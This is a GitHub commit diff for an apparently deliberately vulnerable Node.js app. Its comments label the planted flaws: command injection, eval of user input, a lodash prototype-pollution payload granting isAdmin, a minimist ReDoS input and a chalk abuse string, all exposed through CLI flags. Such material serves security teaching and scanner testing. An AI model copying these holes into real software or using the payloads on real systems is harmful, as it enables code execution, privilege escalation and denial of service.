Skip to content

Commit

Permalink
compiled the code
Browse files Browse the repository at this point in the history
  • Loading branch information
uranium committed Oct 8, 2024
1 parent e913f49 commit 4c7d16a
Show file tree
Hide file tree
Showing 2,814 changed files with 298,954 additions and 39,851 deletions.
43 changes: 41 additions & 2 deletions index.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
const { exec } = require('child_process');
const crypto = require('crypto');
const fs = require('fs');
const minimist = require('minimist');
const lodash = require('lodash');
const chalk = require('chalk');

// Vulnerability 1: Command Injection
function runCommand(userInput) {
Expand Down Expand Up @@ -47,7 +50,43 @@ function insecureFileAccess() {
fs.chmodSync('important_config_file', 0o777); // Granting excessive permissions to a file
}

console.log("This app uses outdated libraries such as chalk 1.1.3, minimist 0.0.8, etc.");
// Vulnerability 9: Prototype Pollution via lodash
function exploitLodash() {
const payload = '{"__proto__": {"isAdmin": true}}';
const obj = {};
lodash.merge(obj, JSON.parse(payload));
console.log("Prototype Pollution: ", obj.isAdmin); // Outputs: true
}

// Vulnerability 10: ReDoS via minimist
function minimistReDoS() {
const userInput = '--foo='.repeat(10000); // Large input to cause Regular Expression Denial of Service
const argv = minimist([userInput]);
console.log(argv);
}

// Vulnerability 11: Improper String Handling via chalk
function chalkVuln() {
const userInput = chalk.red("This is malicious ".repeat(10000)); // Potentially causing performance issues
console.log(userInput);
}

module.exports = { runCommand, runEval, generateWeakToken, getUserData, insecureFileAccess };
// Example usage
const args = minimist(process.argv.slice(2));
if (args.runCommand) {
runCommand(args.runCommand);
}
if (args.runEval) {
runEval(args.runEval);
}
if (args.lodashExploit) {
exploitLodash();
}
if (args.minimistReDoS) {
minimistReDoS();
}
if (args.chalkVuln) {
chalkVuln();
}

module.exports = { runCommand, runEval, generateWeakToken, getUserData, insecureFileAccess, exploitLodash, minimistReDoS, chalkVuln };
1 change: 1 addition & 0 deletions node_modules/.bin/_mocha

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/esparse

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/esvalidate

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/express

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/handlebars

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/he

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/js-yaml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/marked

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/mocha

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions node_modules/.bin/uglifyjs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Loading

0 comments on commit 4c7d16a

Please sign in to comment.